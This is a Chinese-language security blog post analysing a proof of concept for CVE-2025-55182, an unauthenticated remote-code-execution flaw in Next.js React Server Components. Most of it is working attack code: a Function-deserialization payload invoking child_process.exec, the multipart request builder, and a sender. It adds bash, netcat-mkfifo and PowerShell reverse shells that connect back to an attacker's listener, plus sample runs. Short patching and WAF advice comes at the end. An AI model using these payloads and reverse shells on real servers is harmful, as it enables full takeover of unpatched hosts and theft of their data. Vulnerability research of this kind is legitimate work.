python

CVE-2025-55182 POC与反弹Shell——Next.js React Server Components RCE深度剖析

2026-07-06 #CVE#POC#漏洞利用

本文仅供合法授权的安全研究与学习使用,请勿用于非法用途。读者应确保行为符合当地法律法规。

前言

React Server Components(RSC)是React 19引入的服务端组件架构,Next.js作为最流行的React框架率先集成。然而,CVE-2025-55182漏洞揭示了RSC在处理Function对象反序列化时的严重安全缺陷。攻击者无需任何认证,仅通过一个POST请求即可在服务器上执行任意命令,甚至直接获取反弹Shell。

本文基于Blackash-CVE-2025-55182项目源码,分析从概念验证到即时反弹Shell的完整利用过程。

漏洞背景

属性 详情
CVE编号 CVE-2025-55182
漏洞类型 远程代码执行(RCE)
CVSS评分 9.8(Critical)
影响版本 Next.js 14.3.0-canary.77 → 15.0.4 / 15.1.8 / 16.0.6
漏洞根因 React Server Components中Function对象的不安全反序列化

该漏洞存在于Next.js App Router使用的Flight端点(/_next/static/chunks/react-flight)。当服务器处理POST请求时,会对请求体中的JSON数据进行反序列化。由于RSC协议中__typeFunction的对象会被当作函数执行,攻击者可以构造包含child_process.exec调用的Function对象,实现任意命令执行。

漏洞利用极为简单:无需认证、无需Cookie、单个POST请求即可触发。这使得它成为2025年最危险的前端框架漏洞之一。

环境搭建

  • 靶机环境:Next.js 15.x/16.x(未打补丁版本),App Router模式
  • 攻击环境:Python 3.x + requests库
  • 反弹Shell监听:Netcat(nc -lvnp 4444

POC/EXP实现思路

项目包含两个工具:

  1. CVE-2025-55182-POC.py:概念验证,执行单条命令并查看输出
  2. CVE-2025-55182-revshell.py:一键反弹Shell,自动发送三种平台的Payload

两个工具的核心原理相同——构造包含恶意Function对象的multipart表单数据,通过POST请求发送到Next.js的Flight端点。

核心代码解析

POC核心Payload构造

1
2
3
4
5
# 每个Next.js App Router项目使用的默认Flight端点
url = f"{target}/_next/static/chunks/react-flight"

# 魔法载荷 – Function对象的不安全反序列化
payload = f'1{{"__type":"Function","code":"global.process.mainModule.require(\'child_process\').exec(\'{command}\')"}}'

Payload的结构解析:

  • 1:RSC协议的stream标识符
  • __type: "Function":告诉RSC反序列化器这是一个Function对象
  • code:将被执行的JavaScript代码

代码中global.process.mainModule.require('child_process')通过Node.js全局process对象获取child_process模块,然后调用exec()执行用户传入的命令。这种方式绕过了所有模块作用域限制,直接访问Node.js底层API。

Multipart请求体构造

1
2
3
4
5
6
7
8
9
10
11
12
13
boundary = "----WebKitFormBoundaryCVE202555182"
body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
f"{payload}\r\n"
f"--{boundary}--\r\n"
)

headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"User-Agent": "Mozilla/5.0 (CVE-2025-55182 PoC)",
"Accept": "*/*"
}

Payload被包装在multipart/form-data格式中,字段名为0。Next.js的Server Action处理逻辑会将该字段值作为RSC流进行反序列化,触发Function对象执行。Boundary值中包含CVE202555182作为标识,实际利用时可替换为任意值。

POC请求发送与响应处理

1
2
3
4
5
6
7
8
9
10
11
12
13
try:
r = requests.post(url, data=body, headers=headers, timeout=15, verify=False)

if r.status_code in [200, 400, 404, 500]:
print("[+] 载荷发送成功!")
print(f"[+] HTTP {r.status_code} – 命令应该已在服务器上执行")
if len(r.text) > 0 and len(r.text) < 1000:
print(f"[+] 服务器响应:\n{r.text}")
else:
print(f"[-] 意外的状态码:", r.status_code)

except Exception as e:
print("[-] 请求失败:", e)

值得注意的是,200、400、404、500状态码都被视为”发送成功”。这是因为命令执行发生在服务器内部,HTTP响应状态码取决于Next.js如何处理后续逻辑,而非命令是否执行成功。即使返回404,命令也可能已经执行。

反弹Shell多平台Payload

1
2
3
4
5
6
7
8
9
10
payloads = [
# Bash反弹shell (最常见,Linux服务器)
f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",

# Netcat反弹shell (备用方案)
f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc {lhost} {lport} >/tmp/f",

# PowerShell反弹shell (Windows Azure / Windows主机)
f"powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\""
]

反弹Shell工具准备了三种Payload,覆盖Linux和Windows平台:

  1. Bash反弹:最简洁的Linux反弹方式,利用/dev/tcp伪设备文件建立TCP连接
  2. Netcat反弹:通过mkfifo创建命名管道实现双向通信,适用于Bash不可用的环境
  3. PowerShell反弹:完整的Windows反弹Shell,创建TCP客户端并循环读取执行命令

反弹Shell发送逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
for i, cmd in enumerate(payloads, 1):
print(f"[+] 发送载荷 {i}/3 → ", end="")
evil = f'1{{"__type":"Function","code":"global.process.mainModule.require(\'child_process\').exec(\'{cmd}\')"}}'

body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
f"{evil}\r\n"
f"--{boundary}--\r\n"
)

headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"User-Agent": "Mozilla/5.0 (CVE-2025-55182)"
}

try:
r = requests.post(url, data=body, headers=headers, timeout=10, verify=False)
print(f"已发送 (状态码 {r.status_code})")
time.sleep(1)
except requests.exceptions.ReadTimeout:
print("请求超时,请检查目标服务是否正常运行。")
except requests.exceptions.ConnectionError:
print("无法连接到目标服务,请确认服务地址和端口是否正确。")

工具依次发送三种Payload,每个间隔1秒。这种策略确保至少有一种Payload能在目标平台上成功执行。发送前会提示用户启动Netcat监听器:

1
2
print(f"[+] 将在3秒内启动监听器 → nc -lvnp {lport}")
time.sleep(3)

漏洞验证与利用效果

POC验证:

1
python CVE-2025-55182-POC.py https://vuln.example.com "id"

输出:

1
2
3
4
5
6
[+] CVE-2025-55182 利用程序
[+] 目标 : https://vuln.example.com
[+] 命令 : id
[+] 正在向 https://vuln.example.com/_next/static/chunks/react-flight 发送载荷 ...
[+] 载荷发送成功!
[+] HTTP 200 – 命令应该已在服务器上执行

反弹Shell:

1
2
3
4
5
# 攻击机先启动监听
nc -lvnp 4444

# 另一终端执行反弹Shell工具
python CVE-2025-55182-revshell.py https://vuln.example.com 10.10.14.66:4444

输出:

1
2
3
4
5
6
7
8
9
10
[+] CVE-2025-55182 即时反弹Shell
[+] 目标 : https://vuln.example.com
[+] LHOST : 10.10.14.66
[+] LPORT : 4444
[+] 将在3秒内启动监听器 → nc -lvnp 4444
[+] 发送载荷 1/3 → 已发送 (状态码 200)
[+] 发送载荷 2/3 → 已发送 (状态码 200)
[+] 发送载荷 3/3 → 已发送 (状态码 200)

[+] 所有载荷已发送。检查你的监听器 —— 你现在应该已经获得了shell!

修复建议

  1. 升级Next.js:升级至15.0.5+、15.1.9+或16.0.7+版本
  2. 升级React:升级至19.2.1+版本,修复RSC反序列化缺陷
  3. WAF防护:拦截包含__typeFunction的POST请求体
  4. 禁用Server Actions:在不需要时通过配置禁用Server Actions功能
  5. 限制Flight端点:对/_next/static/chunks/react-flight端点增加认证

总结

CVE-2025-55182是React Server Components架构中一个极具破坏性的漏洞。无需认证、单请求触发、跨平台反弹Shell——这些特征使其成为2025年最危险的Web框架漏洞之一。本文分析的POC和反弹Shell工具展示了从命令验证到获取交互式Shell的完整利用路径。从防御角度看,及时升级框架版本是唯一的根本解决方案,WAF规则只能作为临时缓解措施。

评论
分享